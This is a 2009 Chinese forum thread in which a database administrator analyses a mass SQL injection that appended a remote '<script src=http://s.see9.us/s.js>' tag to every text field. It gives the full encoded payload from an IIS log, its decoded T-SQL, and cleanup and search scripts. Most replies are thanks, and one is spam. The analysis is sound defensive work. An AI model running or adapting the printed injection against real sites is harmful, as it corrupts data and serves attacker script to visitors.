分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....

nzperfect 2009-05-23 07:00:05
加精
author:perfectaction
date :2009.05

从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"></title><script src=http://s.see9.us/s.js><或是3b3.org等字符

我也遇到过,通过分析iis日志,搜索"Update%20",找到很多,如:
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -

这段代码我还原后如下:
declare  @t  varchar(255),@c  varchar(255)  
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

open table_cursor fetch next from table_cursor
into @t,@c
while(@@fetch_status=0)
begin
print('update [' + @t + '] set [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS varchar(67))')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;

实事上,上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段,然后update其内容,加上攻击者的字符.

同理,若要去掉这些字符,也可以利用上面的代码:
declare  @t  varchar(255),@c  varchar(255)  
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;

但事实上,攻击者在update数据库字段时,是采用先截取再加他自己字符的方法,所以对于text/ntext类型,如果你原来的字段内的字符>8000的话,已经无法全部还原成最初状态了.


往往我们还需要看下其它数据库有没有同样被攻击,我写了如下代码:
--查某个指定字符出现在哪些表哪些字段:
declare @searchstr nvarchar(500)
set @searchstr ='3b3.org' --这里是你要查的字符内容
declare @t varchar(255),@c varchar(255)
create table # (name varchar(256),cols varchar(4000))
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype='u' and b.xtype=c.xtype
and c.name in ('char','nchar','varchar','nvarchar','text','next')
open table_cursor fetch next from table_cursor
into @t,@c
while(@@fetch_status=0)
begin
exec('
set nocount on
if exists(select top 1 1 from [' + @t + '] where cast([' + @c + '] as varchar(8000)) like ''%'+@searchstr+'%'')
begin
if not exists(select 1 from # where name='''+@t+''')
insert into # select '''+@t+''','''+@c+'''
else
update # set cols=cols+'','+@c+''' where name='''+@t+'''
--select '+@c+' from [' + @t + '] where [' + @c + '] like ''%'+@searchstr+'%''
end
')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;
select name as '表名',cols as '列名' from #
drop table #

这段sql可以查到你的哪些表哪些字段包含某个指定字符.


这种sql注入攻击我怀疑应该是一种工具或称为病毒,但始终没有见过,如果哪位朋友有,希望给我一份,谢谢.



...全文
2163 52 打赏 收藏 转发到动态 举报
写回复
用AI写文章
52 条回复
切换为时间正序
请发表友善的回复…
发表回复
Felven 2011-08-22
  • 打赏
  • 举报
回复
求文章地址啊,跪求
comrdliyang 2011-03-08
  • 打赏
  • 举报
回复
robin41209 2010-12-16
  • 打赏
  • 举报
回复
嗯,学习了。
ruolins 2010-11-13
  • 打赏
  • 举报
回复
wing3_lee 2010-06-08
  • 打赏
  • 举报
回复
其实我更想知道你是怎么还原为SQL的,呵呵,弱弱的问
luoxue1234 2010-01-20
  • 打赏
  • 举报
回复
这个代码太精点了,还没完全弄明白,还得多看看
sych888 2009-11-02
  • 打赏
  • 举报
回复
mark
mark
a13951845000 2009-10-29
  • 打赏
  • 举报
回复
mark
周公 2009-10-20
  • 打赏
  • 举报
回复
很好,难得有心人。
  • 打赏
  • 举报
回复
强人啊
csover8 2009-09-10
  • 打赏
  • 举报
回复
求 小竹的文章已经明确给出解决方案 的地址.
律己修心 2009-09-05
  • 打赏
  • 举报
回复
[Quote=引用 31 楼 dropping 的回复:]
引用 22 楼 perfectaction 的回复:
忘记说了,这个代码是针对sql 2005/2008.

另外,这个旨在建立较为安全的程序帐号设置.并针对
"网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入">  </title>  <script src=http://s.see9.us/s.js>  <或是3b3.org等字符 "
这种注入攻击而设计.


真正的防注入,需要程序来实现。

防注入的方法在当年WEB版版主小竹的文章已经明确给出解决方案,而对于网上五七八门的通用防注入代码,只能说明这些人并…

求 小竹的文章已经明确给出解决方案 的地址.
[/Quote]
UP
qq845284425 2009-07-17
  • 打赏
  • 举报
回复

mark
ggggffffhhhh 2009-06-15
  • 打赏
  • 举报
回复
打飞机 点击返回国际快递发货几点风格就开始对符合国际快递化肥价格可 肯德基风格化的风格和肯德基风华 高科几点废话国际快递发货国际快递回复即可更换的飞机开个会打击疯狂过后的开发及规划及开发规划
ffqq58 2009-06-12
  • 打赏
  • 举报
回复
顶....
越过越咸 2009-06-12
  • 打赏
  • 举报
回复
www.zsctsoft.com
dropping 2009-06-11
  • 打赏
  • 举报
回复
[Quote=引用 22 楼 perfectaction 的回复:]
忘记说了,这个代码是针对sql 2005/2008.

另外,这个旨在建立较为安全的程序帐号设置.并针对
"网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符 "
这种注入攻击而设计.


真正的防注入,需要程序来实现。

防注入的方法在当年WEB版版主小竹的文章已经明确给出解决方案,而对于网上五七八门的通用防注入代码,只能说明这些人并…
[/Quote]
求 小竹的文章已经明确给出解决方案 的地址.
meceky 2009-06-11
  • 打赏
  • 举报
回复
学习了/
wpf0535 2009-06-11
  • 打赏
  • 举报
回复
不错的方法啊 !!!
ljsheng 2009-06-11
  • 打赏
  • 举报
回复
偶也要地址!!!
加载更多回复(32)
YOLO系列是基于深度学习的端到端实时目标检测方法。 PyTorch版的YOLOv5轻量而高性能,更加灵活和易用,当前非常流行。 本课程将手把手地教大家使用labelImg标注和使用YOLOv5训练自己的数据集。课程实战分为两个项目:单目标检测(足球目标检测)和多目标检测(足球和梅西同时检测)。  本课程的YOLOv5使用ultralytics/yolov5,在Windows和Ubuntu系统上分别做项目演示。包括:安装YOLOv5、标注自己的数据集、准备自己的数据集(自动划分训练集和验证集)、修改配置文件、使用wandb训练可视化工具、训练自己的数据集、测试训练出的网络模型和性能统计。 除本课程《YOLOv5实战训练自己的数据集(Windows和Ubuntu演示)》外,本人推出了有关YOLOv5目标检测的系列课程。请持续关注该系列的其它视频课程,包括:《YOLOv5(PyTorch)目标检测:原理与源码解析》课程链接:https://edu.csdn.net/course/detail/31428《YOLOv5目标检测实战:Flask Web部署》课程链接:https://edu.csdn.net/course/detail/31087《YOLOv5(PyTorch)目标检测实战:TensorRT加速部署》课程链接:https://edu.csdn.net/course/detail/32303《YOLOv5目标检测实战:Jetson Nano部署》课程链接:https://edu.csdn.net/course/detail/32451《YOLOv5+DeepSORT多目标跟踪与计数精讲》课程链接:https://edu.csdn.net/course/detail/32669《YOLOv5实战口罩佩戴检测》课程链接:https://edu.csdn.net/course/detail/32744《YOLOv5实战中国交通标志识别》课程链接:https://edu.csdn.net/course/detail/35209 《YOLOv5实战垃圾分类目标检测》课程链接:https://edu.csdn.net/course/detail/35284  

22,209

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 疑难问题
社区管理员
  • 疑难问题社区
  • 尘觉
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧